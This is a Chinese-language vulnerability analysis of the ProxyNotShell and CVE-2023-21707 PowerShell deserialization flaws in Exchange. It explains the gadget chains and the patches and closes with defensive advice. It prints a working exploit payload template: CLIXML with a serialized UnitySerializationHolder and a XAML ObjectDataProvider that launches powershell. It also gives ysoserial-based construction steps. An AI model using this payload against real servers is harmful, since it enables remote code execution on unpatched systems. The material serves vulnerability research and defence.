Proxynotshell 反序列化及 CVE-2023-21707 漏洞研究
字数 2354 2025-08-24 16:48:07
PowerShell 反序列化漏洞深度分析:Proxynotshell 与 CVE-2023-21707
漏洞概述
本文深入分析两个关键的 PowerShell 反序列化漏洞:Proxynotshell 和 CVE-2023-21707。这两个漏洞都利用了 PowerShell 序列化/反序列化机制中的缺陷,最终导致远程代码执行。
核心漏洞原理
PowerShell 反序列化流程
PowerShell 处理 XML 数据的基本流程:
- XML 信息传入后被
PSSerializer.Deserialize反序列化为PSObject类 - 当
targetTypeForDeserialization不为空时,ReadOneObject会调用LanguagePrimitives.ConvertTo将对象转换为指定类型
关键代码片段:
protected PSObject(SerializationInfo info, StreamingContext context) {
string text = info.GetValue("CliXml", typeof(string)) as string;
PSObject psobject = PSObject.AsPSObject(PSSerializer.Deserialize(text));
this.CommonInitialization(psobject.ImmediateBaseObject);
PSObject.CopyDeserializerFields(psobject, this);
}
类型转换机制
targetTypeForDeserialization 通过以下路径获取:
GetTargetTypeForDeserialization调用GetPSStandardMemberGetPSStandardMember使用TypeTableGetMemberDelegate根据对象类型和types.ps1xml查找PSStandardMembers- 最终通过
GetMemberCollection获取成员信息集合
关键点:使用 PSMemberViewTypes.All 允许通过 extended 或 adapted 属性自定义类型,从而控制反序列化过程。
Proxynotshell 漏洞分析
漏洞利用链
- 攻击者构造包含
Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData类的恶意 XML - 该类包含
TargetTypeForDeserialization属性,指定为System.Exception - 利用
LanguagePrimitives.ConvertTo的第三种转换方式:调用指定类型的静态Parse(string)方法
关键 Payload 结构
<Obj N="Args" RefId="12">
<TNRef RefId="0"/>
<LST>
<Obj RefId="13">
<MS>
<S N="N">-Identity:</S>
<Obj N="V" RefId="14">
<TN RefId="2">
<T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T>
<T>System.Object</T>
</TN>
<Props>
<S N="Name">Type</S>
<Obj N="TargetTypeForDeserialization">
<TN RefId="2">
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
</MS>
</Obj>
</Props>
<S><![CDATA[<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="-e
$$
POWERSHELL_ENCODE_PAYLOAD_HERE
$$
" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="powershell"/>
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>]]></S>
</Obj>
</MS>
</Obj>
</LST>
</Obj>
详细利用过程
- 初始反序列化:
TargetTypeForDeserialization指定的System.Exception被处理 - 类型转换:调用
Microsoft.Exchange.Data.SerializationTypeConverter.DeserializeObject - 二次反序列化:
CanConvert方法提取SerializationData字节数组Deserialize方法使用BinaryFormatter反序列化数据- 白名单中包含
System.UnitySerializationHolder,被用于进一步利用
- XAML解析:最终通过
System.Windows.Markup.XamlReader.Parse方法解析恶意XAML,执行任意命令
CVE-2023-21707 漏洞分析
与Proxynotshell的区别
虽然利用流程类似,但CVE-2023-21707使用了不同的二次反序列化gadget:
- 利用白名单中的
Microsoft.Exchange.Security.Authentication.GenericSidIdentity类 - 该类继承自
ClaimsIdentity,是著名的.NET反序列化gadget
关键利用链
GenericSidIdentity继承ClaimsIdentityClaimsIdentity的OnDeserializedMethod对m_serializedClaims进行二次反序列化DeserializeClaims方法使用BinaryFormatter反序列化base64解码后的数据
关键代码:
private void DeserializeClaims(string serializedClaims) {
using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(serializedClaims))) {
this.m_instanceClaims = (List<Claim>)new BinaryFormatter().Deserialize(memoryStream, null, false);
}
}
攻击Payload构造
- 使用ysoserial生成
ClaimsIdentity的BinaryFormatterpayload - 将payload的base64编码数据通过反射放入
GenericSidIdentity的m_serializedClaims - 序列化
GenericSidIdentity并写入exception的SerializationData
漏洞修复方案
Proxynotshell修复
引入了 UnitySerializationHolderSurrogateSelector,在 System.UnitySerializationHolder 反序列化过程中验证目标类型,阻止了 Parse(string) 方法的恶意调用。
CVE-2023-21707修复
Microsoft通过更新白名单和加强类型验证来修复此漏洞,具体包括:
- 限制
BinaryFormatter反序列化的类型 - 加强
ClaimsIdentity的反序列化验证
防御建议
- 及时安装最新的安全更新
- 限制PowerShell远程访问
- 实施代码完整性策略,限制非授权脚本执行
- 监控和审核PowerShell活动日志
- 考虑禁用或限制
BinaryFormatter的使用